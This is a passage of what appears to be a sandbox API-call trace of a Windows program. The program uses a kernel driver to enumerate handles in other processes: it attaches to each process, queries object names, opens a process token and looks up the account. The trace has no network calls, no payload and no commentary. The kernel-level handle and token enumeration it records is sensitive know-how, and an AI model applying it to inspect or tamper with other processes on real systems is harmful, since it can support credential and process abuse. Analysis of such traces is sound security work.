(in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.542] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.543] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.543] PsAcquireProcessExitSynchronization () returned 0x0 [0133.543] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0) [0133.543] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0133.543] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.543] PsReleaseProcessExitSynchronization () returned 0x2 [0133.543] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0133.543] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.543] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0133.543] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.543] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.543] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0133.543] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.543] PsAcquireProcessExitSynchronization () returned 0x0 [0133.543] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0) [0133.543] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80023c9470, HandleInformation=0x0) returned 0x0 [0133.543] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.543] PsReleaseProcessExitSynchronization () returned 0x2 [0133.543] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0133.543] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.543] ObfDereferenceObject (Object=0xfffffa80023c9470) returned 0x1 [0133.543] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.543] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.543] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0133.543] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.543] PsAcquireProcessExitSynchronization () returned 0x0 [0133.543] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0) [0133.544] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021ab070, HandleInformation=0x0) returned 0x0 [0133.544] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.544] PsReleaseProcessExitSynchronization () returned 0x2 [0133.544] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0133.544] ObQueryNameString (in: Object=0xfffffa80021ab070, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.544] ObfDereferenceObject (Object=0xfffffa80021ab070) returned 0x1 [0133.544] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.544] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.544] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.544] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0133.544] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.544] PsAcquireProcessExitSynchronization () returned 0x0 [0133.544] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0) [0133.544] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80025c0780, HandleInformation=0x0) returned 0x0 [0133.544] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.544] PsReleaseProcessExitSynchronization () returned 0x2 [0133.544] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0133.544] ObQueryNameString (in: Object=0xfffffa80025c0780, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.544] ObfDereferenceObject (Object=0xfffffa80025c0780) returned 0x10 [0133.544] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.544] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.544] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.544] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1d0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0133.544] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.544] PsAcquireProcessExitSynchronization () returned 0x0 [0133.544] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0) [0133.544] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80038c7f20, HandleInformation=0x0) returned 0x0 [0133.544] ObfDereferenceObject (Object=0xfffffa80038c7f20) returned 0x1 [0133.544] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.544] PsReleaseProcessExitSynchronization () returned 0x2 [0133.544] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0133.544] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.545] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.545] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0xc0 [0133.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.545] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001ff4060, HandleInformation=0x0) returned 0x0 [0133.545] ObOpenObjectByPointer (in: Object=0xfffffa8001ff4060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff80000520) returned 0x0 [0133.545] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x20 [0133.545] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000520, DesiredAccess=0x8, TokenHandle=0xfffffa80024c34c0 | out: TokenHandle=0xfffffa80024c34c0*=0xc8) returned 0x0 [0133.545] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0133.545] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.545] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.545] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.546] CloseHandle (hObject=0xc8) returned 1 [0133.546] CloseHandle (hObject=0xc0) returned 1 [0133.546] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.546] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0133.546] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.546] PsAcquireProcessExitSynchronization () returned 0x0 [0133.546] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0) [0133.546] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800355c700, HandleInformation=0x0) returned 0x0 [0133.547] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.547] PsReleaseProcessExitSynchronization () returned 0x2 [0133.547] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0133.547] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.547] ObfDereferenceObject (Object=0xfffffa800355c700) returned 0x1 [0133.547] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.547] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.547] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0133.547] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.547] PsAcquireProcessExitSynchronization () returned 0x0 [0133.547] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0) [0133.547] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003517d50, HandleInformation=0x0) returned 0x0 [0133.547] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.547] PsReleaseProcessExitSynchronization () returned 0x2 [0133.547] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0133.547] ObQueryNameString (in: Object=0xfffffa8003517d50, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.547] ObfDereferenceObject (Object=0xfffffa8003517d50) returned 0x1 [0133.547] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.547] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.547] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.547] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.547] PsAcquireProcessExitSynchronization () returned 0x0 [0133.547] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0) [0133.547] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.547] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.547] PsReleaseProcessExitSynchronization () returned 0x2 [0133.547] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0133.547] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.547] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.547] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.547] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.548] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0133.548] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.548] PsAcquireProcessExitSynchronization () returned 0x0 [0133.548] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0) [0133.548] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800216c2a0, HandleInformation=0x0) returned 0x0 [0133.548] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.548] PsReleaseProcessExitSynchronization () returned 0x2 [0133.548] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0133.548] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.548] ObfDereferenceObject (Object=0xfffffa800216c2a0) returned 0x1 [0133.548] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.548] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.548] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.548] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.548] PsAcquireProcessExitSynchronization () returned 0x0 [0133.548] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0) [0133.548] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002397da0, HandleInformation=0x0) returned 0x0 [0133.548] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.548] PsReleaseProcessExitSynchronization () returned 0x2 [0133.548] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0133.548] ObQueryNameString (in: Object=0xfffff8a002397da0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0133.548] ObfDereferenceObject (Object=0xfffff8a002397da0) returned 0x1 [0133.548] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.548] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.548] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0133.548] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.548] PsAcquireProcessExitSynchronization () returned 0x0 [0133.548] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0) [0133.548] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002184760, HandleInformation=0x0) returned 0x0 [0133.548] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.548] PsReleaseProcessExitSynchronization () returned 0x2 [0133.548] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0133.549] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.549] ObfDereferenceObject (Object=0xfffffa8002184760) returned 0x1 [0133.549] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.549] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.549] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0133.549] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.549] PsAcquireProcessExitSynchronization () returned 0x0 [0133.549] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0) [0133.549] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80018f72a0, HandleInformation=0x0) returned 0x0 [0133.549] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.549] PsReleaseProcessExitSynchronization () returned 0x2 [0133.549] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0133.549] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0133.549] ObfDereferenceObject (Object=0xfffffa80018f72a0) returned 0x1 [0133.549] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.549] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.549] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0133.549] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.549] PsAcquireProcessExitSynchronization () returned 0x0 [0133.549] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0) [0133.549] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0133.549] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.549] PsReleaseProcessExitSynchronization () returned 0x2 [0133.549] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0133.549] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.549] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0133.549] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.549] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.549] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0133.550] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.550] PsAcquireProcessExitSynchronization () returned 0x0 [0133.550] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0) [0133.550] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800216b360, HandleInformation=0x0) returned 0x0 [0133.550] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.550] PsReleaseProcessExitSynchronization () returned 0x2 [0133.550] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0133.550] ObQueryNameString (in: Object=0xfffffa800216b360, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.550] ObfDereferenceObject (Object=0xfffffa800216b360) returned 0x1 [0133.550] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.550] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.550] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 